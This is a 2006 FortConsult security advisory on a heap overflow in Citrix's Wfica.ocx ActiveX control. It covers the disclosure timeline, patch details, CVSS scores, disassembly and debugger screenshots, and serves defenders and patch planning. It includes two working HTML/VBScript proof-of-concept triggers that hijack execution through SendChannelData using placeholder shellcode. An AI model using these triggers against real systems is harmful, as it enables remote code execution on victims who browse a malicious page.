

SECURITY ADVISORY 2006-09-18

Citrix Client For Windows -
Wfica.ocx ActiveX vulnerabilities



Table of Contents

Copyright and disclaimer.....	3
The Security Research Team.....	3
Introduction & Advisory Summary	3
Credits and Thanks.....	3
Status and Timeline	3
What software is affected?	4
Primary targets.....	4
Mitigation – Patch is Available.....	4
Who can exploit this and where from?	5
What is the impact of exploitation?.....	5
CVSS Impact Scores.....	5
CVSS details - Base Metrics (Score: 8)	5
CVSS details - Temporal Metrics (Score: 6.6).....	5
CVSS details - Environmental Metrics (Score: 7.4).....	5
Vulnerable file details	5
Specific binary checksums.....	5
Exploit Details	5
What the Issue Exploits – High Level View	6
Attacker Controllable Buffer Size	6
Attacker-Friendly Data Type Control	6
What the Issue Exploits – Assembly View	7
Note Regarding “Valid” Overflow Trigger Data	7
Proof-of-Concept Code – trigger for stack exploit	8
Stack Proof-of-Concept Screenshot	9
Proof-of-Concept Code – trigger for heap exploit	10
Note Regarding Heap Classification	10
Heap Proof-of-Concept Screenshot.....	11

Copyright and disclaimer

The information in this advisory is Copyright 2006 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document.

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

The Security Research Team

This advisory has been discovered by FortConsults Security Research Team lead, Andrew Christensen.

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks. Our primary services are security tests and practically-oriented security consultancy.

For more information: www.fortconsult.net.

Introduction & Advisory Summary

An ActiveX component distributed as part of the Citrix client, makes it possible to attack machines that this component is installed on from malicious websites.

Machines which have Citrix installed on it can be compromised if Internet Explorer (or in some cases, Firefox with ActiveX plugin extensions) is used to visit a malicious web page. DNS manipulation can make it possible to exploit people that intended to visit harmless sites, for example CNN or Google.

Credits and Thanks

COMRaider was used to extract function prototype information and do initial testing on this component. Shellcode was taken from Metasploit. Thanks to Dan Faerch and Dennis Rand for performing peer review on this advisory.

Status and Timeline

September 14 th , 2006	Issue Discovery
September 18 th , 2006	Issue Reported
September 18 th , 2006	Citrix confirms issue, has no planned fix date yet.
September 19 th , 2006	Unofficial information provided by Zero Day Initiative indicates this issue has already independently been discovered by others.
December 5 th , 2006	Planned Coordinated Public Release Date
December 7 th , 2006	Updated with patch information from Citrix

What software is affected?

This applies the Citrix client file named "wfica.ocx", which can be referenced by the following GUID:

{238F6F83-B8B4-11CF-8771-00A024541EE3}

The program will typically be placed in the following location on disk:

C:\Program Files\Citrix\ICA Client\Wfica.ocx

For the purposes of this test, the latest ICA Client (version 9.200, release date 5/16/2006) was downloaded on September 15th, 2006, from Citrix's website, by visiting the following URL:

<http://www.citrix.com/English/SS/downloads/details.asp?dID=2755&downloadID=25368&pID=186>

Primary targets

While functioning exploit code has only been produced for the Windows 2000 VMWare test system, a Proof-of-Concept which triggers what appears to be an exploitable overflow has caused a crash on other system types:

- Windows 2003 (US / International)
- Windows XP (Danish, Norwegian)
- Windows 2000 SP4 (Danish)

The latest version of the software available at the time of writing (9.200) and version 7.0.17534.0 have both been checked for the vulnerability, and both appear vulnerable. The proof-of-concept exploit has been crafted using 9.200.44376.0; due to time constraints vulnerability of other versions to this specific exploit have not been checked.

Mitigation – Patch is Available

Citrix security has provided the following fix information:

This vulnerability has been addressed in the Citrix Presentation Server Client for Windows version 9.230 and later. Citrix strongly recommends that customers upgrade their Citrix Presentation Server Client for Windows to version 9.230 and later. These upgrades can be obtained from the following location:

<http://www.citrix.com/English/SS/downloads/downloads.asp?dID=2755>

Who can exploit this and where from?

This is a remote attack targeted at clients browsing the Internet using Internet Explorer. This can be exploited by a person that controls a website that victims browse, or by a person that controls or can manipulate the victim's DNS.

What is the impact of exploitation?

Code will execute on the victims machine with permission of the presently-logged on victim user.

CVSS Impact Scores

CVSS details - Base Metrics (Score: 8)

Access Vector:	Remote
Access complexity:	High
Authentication:	Not required
Confidentiality Impact:	Complete
Integrity Impact:	Complete
Availability Impact:	Complete
Impact Bias:	Integrity

CVSS details - Temporal Metrics (Score: 6.6)

Exploitability:	Functional
Remediation Level:	Official Fix (planned available December 5 th 2006)
Report Confidence:	Confirmed

CVSS details - Environmental Metrics (Score: 7.4)

Collateral Damage Potential:	Medium
Target Distribution:	Medium

Vulnerable file details

Specific binary checksums

The checksum of the 'wfica.ocx' binary analyzed is:

- MD5: b97da05f3693a9fd9b2f0e8a29f2fe87

This file appears to have been compiled / packaged around May 2nd, 2006 (based on the file modification time stamp), and was compiled using Microsoft Visual C++ as a DLL, with debugging symbols enabled (based on analysis with PEiD).

Exploit Details

This vulnerability can actually be exploited in a number of ways. Depending on the type and

length of data put in, combined with what other arguments to the vulnerable function are set to, this software / method can be exploited using either of the following techniques:

1. stack exploit, with overflow of stack variable pointing at payload stored in heap
2. heap exploit, with control of two separate registers, allowing at least one DWORD to be written

A Proof-of-Concept has been created to exploit the first of these (the stack exploit), but it is definitely worth an attackers time to create a heap-exploit version, as it appears that that would be more reliable / portable.

Note that in all cases the exploit payload resides in the heap. *This means that non-exec stacks will not prevent exploitation.* Non-exec heaps could, however, prevent this risk.

What the Issue Exploits – High Level View

The ActiveX “member” being exploited has the following prototype:

```
Function SendChannelData (  
    ByVal ChannelName As String ,  
    ByVal Data As String ,  
    ByVal DataSize As Long ,  
    ByVal DataType As ICAVCDDataType  
) As Long
```

It seems that this is intended to send data via an established communications channel. It is not known what a channel actually means in this context. However, what is interesting here is the “DataSize” parameter, and the “DataType” parameter.

Attacker Controllable Buffer Size

The DataSize parameter is what actually makes it possible to exploit this issue. Basically, Wfica.ocx performs the following routine:

1. Allocate “DataSize” bytes on the heap
2. Read all of the data that there is in the “Data” parameter.

Obviously, what it *should* do is:

1. Allocate “DataSize” bytes on the heap
2. Read “DataSize” bytes of the “Data” parameter.

Attacker-Friendly Data Type Control

Key to exploitation of this issue is the “ICAVCDDataType” parameter. When this is set to 1, the program actually reads in ASCII data, and “packs” it as raw data. For example, the string “**AAAAAAAA**” gets packed as **0xAAAAAAAA**. At first, this can lead to a little confusion when attempting to exploit, as you might expect **0x41414141** to be the result of an overflow

involving the character “A”, however it leads to extremely easy exploitation, as you do not actually need to worry about nulls or other normally-illegal characters.

What the Issue Exploits – Assembly View

From an assembly standpoint, the point within Wfica.ocx at which (at least one of) the overflow occurs is shown below. Basically what this code does is read multiples of 8 bytes of ASCII data, and “pack” it as raw data into the heap.

```
1001E9DC |> 8A07          /MOV AL,BYTE PTR DS:[EDI]
1001E9DE |. 8065 0E 00    |AND BYTE PTR SS:[EBP+E],0
1001E9E2 |. 8845 0C        |MOV BYTE PTR SS:[EBP+C],AL
1001E9E5 |. 8A47 01        |MOV AL,BYTE PTR DS:[EDI+1]
1001E9E8 |. 8845 0D        |MOV BYTE PTR SS:[EBP+D],AL
1001E9EB |. 8D45 0C        |LEA EAX,DWORD PTR SS:[EBP+C]
1001E9EE |. 50             |PUSH EAX
1001E9EF |. E8 1A000000   |CALL Wfica.1001EA0E
1001E9F4 |. 8B4D 10        |MOV ECX,DWORD PTR SS:[EBP+10]
1001E9F7 |. 47             |INC EDI
1001E9F8 |. 47             |INC EDI
1001E9F9 |. 88040B        |MOV BYTE PTR DS:[EBX+ECX],AL
1001E9FC |. 43             |INC EBX
1001E9FD |. 3BDE          |CMP EBX,ESI
1001E9FF |.^72 DB        \JB SHORT Wfica.1001E9DC
```

Note Regarding “Valid” Overflow Trigger Data

Since it's designed to read 8 bytes of data at a time, there is a check elsewhere to see that the length of the data is evenly divisible by 8 – so in order to successfully exploit this, it is necessary to pad your shellcode out to a multiple of 8 bytes. Note also that only “hexadecimal” characters are valid here: 0-9 and A-F.

Proof-of-Concept Code – trigger for stack exploit

The following HTML code was used to trigger the overflow, and redirect execution to a place where "shellcode" was placed (in this case, the sequence 0xCC, the op-code for INT3).

```
<html>
  <head> <title>Citrix ActiveX Caller</title> </head>
  <body>
    <OBJECT id="Security" width=500 height=500
      classid="CLSID:238F6F83-B8B4-11CF-8771-
00A024541EE3">
      <SPAN STYLE="color:red">Congrats. You aren't
vulnerable.</SPAN>
    </OBJECT>
    <script language=vbscript>
      spamA = "whatever"
      spamB =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9090EB04" + "70DE3400" +
"CCCCCCCC11111111"
      msgbox "attach debugger"
      Security.SendChannelData spamA, spamB, 1, 1
    </script>
  </body>
</html>
```

Note that the exploit above has the address of the place where the "9090EB04" appears in the shellcode hardcoded into it as 0x0034DE70.

This works because at the point where execution is redirected, we find a **CALL [EBX+8]**. The data **9090EB04** ("NOP NOP SHORT JUMP 4") is found at **0034DE70** – the address that EBX is actually set to. Since the call is to **[EBX+8]**, the memory with the address is found immediately after where the call will actually go to.

There are ways of making this more reliable – but for the sake of a Proof of Concept, hardcoding in an address seems to work well enough.

Stack Proof-of-Concept Screenshot

The following screenshot shows when a similar trigger was used to cause the program to attempt to call to `0xDEADBEEF+8`.

OllyDbg - IEXPLORE.EXE - [CPU - main thread, module vbscript]

File View Debug Plugins Options Window Help

Registers (FPU)

EAX	0034DE78
ECX	DEADBEEF
EDX	00000000
EBX	00000001
ESP	0012E5F4
EBP	00000000
ESI	0034AB80
EDI	0034AB80
EIP	6B61A8B6 vbs
C 0	ES 0023 32b
P 1	CS 001B 32b
A 0	SS 0023 32b
Z 0	DS 0023 32b
S 0	FS 0038 32b
T 0	GS 0000 NUL
D 0	
O 0	LastErr ERR
EFL	00000206 (NO
ST0	empty 0.0
ST1	empty 0.0
ST2	empty 0.0
ST3	empty 0.0
ST4	empty 0.0
ST5	empty 0.0
ST6	empty 0.0
ST7	empty 1.0000
FST	4000 Cond 1
FCW	027F Prec N

Address	Hex dump	Disassembly	Comment
00403000	BD 9F13C592	MOV EBP,92C5139F	
00403005	122B	ADC CH,BYTE PTR DS:[EBX]	
00403007	72 4A	JB SHORT IEXPLORE.00403053	RETUF
00403009	BA B62AF9FC	MOV EDX,FCF92AB6	
0040300E	54	PUSH ESP	
0040300F	46	INC ESI	
00403010	6F	OUTS DX,DWORD PTR ES:[EDI]	
00403011	A1 B4BB43A8	MOV EAX,DWORD PTR DS:[A843	
00403016	FE	???	UNICC
00403017	F8	CLC	
00403018	A8 23	TEST AL,23	
0040301A	7D D1	JGE SHORT IEXPLORE.00402FE	
0040301C	858422 6EB45800	TEST DWORD PTR DS:[EDX+58B	
00403023	3E 0B19	OR EBX,DWORD PTR DS:[ECX]	
00403026	8388 6A8D6402 D	OR DWORD PTR DS:[EAX+2648D	
0040302D	5F	POP EDI	
0040302E	65:7E 3B	JLE SHORT IEXPLORE.0040306	
00403031	4D	DEC EBP	UNICC
00403032	D4 10	RAM 10	RETUF
0012E5F4	0034DE78		
0012E5F8	0034DD28		
0012E5FC	6B607BEF		
0012E600	00000000		
0012E604	0012E638		
0012E608	00000000		
0012E60C	0012E63C		
0012E610	00000000		
0012E614	00000000		
0012E618	014E6304		
0012E61C	0034A8C8		
0012E620	00000000		
0012E624	00000000		
0012E628	0034DD40		
0012E62C	00000000		
0012E630	0034AF98		
0012E634	00000000		
0012E638	00000000		
0012E63C	70CFAE4C		
0012E640	6B60658B		
0012E644	0012E77C		

DS:[DEADBEEF7]=???

Access violation when reading [DEADBEEF7] - use Shift+F7/F8/F9 to pass exception to program

Proof-of-Concept Code – trigger for heap exploit

The following HTML code was used to trigger what appears to be an easily exploitable heap bug:

```
<html>
<head> <title>Citrix ActiveX Caller</title> </head>
<body>
  <OBJECT id="Security" width=500 height=500
    classid="CLSID:238F6F83-B8B4-11CF-8771-
00A024541EE3">
    <SPAN STYLE="color:red">Congrats. You aren't
vulnerable.</SPAN>
    </OBJECT>
    <script language=vbscript>
      spamA =
"PAYLOADPAYLOADPAYLOADPAYLOADPAYLOADPAYLOADPAYLOAD"
      spamB = "AAAAAAAA" +
"CCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "BBBBBBBB" +
"DDDDDDDD11111111" + String(160,"C")
      msgbox "attach debugger"
      Security.SendChannelData spamA, spamB, 1, 1
    </script>
  </body>
</html>
```

Note Regarding Heap Classification

It may be incorrect to classify this as a heap exploit. Further investigation is necessary to be certain of this. However, since the point the following Proof-of-Concept causes a crash is within NTDLL.DLL, and since it crashes at a classic "WRITE+4" heap-manipulation construct (as shown in the screenshot which follows), it seems pretty likely that it is correct to classify this as a heap bug.

Heap Proof-of-Concept Screenshot

The following screenshot shows when a similar trigger was used to cause the program to attempt to write **0xCCCCCCCC** to the address **0xDDDDDDDD**. Note that EAX and ECX are fully controllable. Since this clearly demonstrates it should be possible to write one full DWORD of arbitrary data, exploiting this should be fairly trivial, and much more reliable than the stack-based exploit shown above.

OllyDbg - IEXPLORE.EXE - [CPU - thread 0000390, module ntdll]

File View Debug Plugins Options Window Help

LEMTWHC / KB

```
77FCC453 MOV DWORD PTR DS:[ECX],EAX
77FCC455 MOV DWORD PTR DS:[EAX+4],ECX
77FCC458 CMP EAX,ECX
77FCC45A JNZ SHORT ntdll.77FCC481
77FCC45C MOVZX ECX,WORD PTR DS:[ESI]
77FCC45F MOV EAX,ECX
77FCC461 SHR EAX,3
77FCC464 MOV DWORD PTR SS:[EBP-D4],EAX
77FCC46A AND ECX,7
77FCC46D PUSH 1
77FCC46F POP EDX
77FCC470 SHL EDX,CL
77FCC472 MOV DWORD PTR SS:[EBP-D0],EDX
77FCC478 LEA EDI,DWORD PTR DS:[EAX+EDI+158]
77FCC47F XOR BYTE PTR DS:[EDI],DL
77FCC481 MOV AL,BYTE PTR DS:[ESI+5]
77FCC484 MOV BYTE PTR SS:[EBP-3C],AL
77FCC487 MOVZX EDX,WORD PTR DS:[ESI]
77FCC48A MOV ECX,DWORD PTR SS:[EBP-5C]
77FCC48D SUB DWORD PTR DS:[ECX+28],EDX
77FCC490 MOV DWORD PTR SS:[EBP-28],ESI
77FCC493 MOV BYTE PTR DS:[ESI+5],1
77FCC497 MOVZX EBX,WORD PTR DS:[ESI]
77FCC49A MOV ECX,DWORD PTR SS:[EBP-44]
77FCC49D SUB EBX,ECX
77FCC49F MOV DWORD PTR SS:[EBP-58],EBX
77FCC4A2 MOV WORD PTR DS:[ESI],CX
77FCC4A5 MOV ECX,DWORD PTR SS:[EBP-20]
77FCC4A8 SUB ECX,DWORD PTR SS:[EBP+10]
77FCC4AB MOV BYTE PTR DS:[ESI+6],CL
77FCC4AE AND BYTE PTR DS:[ESI+7],0
77FCC4B2 TEST EBX,EBX
77FCC4B4 JE ntdll.77FCC578
```

EAX=BBBBBBBB
DS:[DDDDDDDD]=???

Registers (FPU)
EAX BBBBBBBB
ECX DDDDDDDD
EDX 00000040
EBX 0000000B
ESP 01FCFA0
EBP 01FCFE38
ESI 0034DF20
EDI 00340000
EIP 77FCC453 ntdll.77FCC45

Address Hex dump
00403000 BD 9F 13 C5 92 12 2B 72 4A BA B6 2A F9 FC 54 01FCFA4 00347108
00403010 6F A1 B4 BB 43 A8 FE F8 A8 23 7D 01 85 84 22 01FCFA8 00000000
00403020 B4 58 00 3E 0B 19 83 88 6A 8D 64 02 DF 5F 65 01FCFAC 01FCFD30
00403030 2D 4D 54 13 44 00 4C 24 F3 48 F4 0C 0F 4D 03 01FCFCB0 00000000

Access violation when writing to [DDDDDDDD] - use Shift+F7/F8/F9 to pass e... Paused

FORTCONSULT

Straight talk on IT security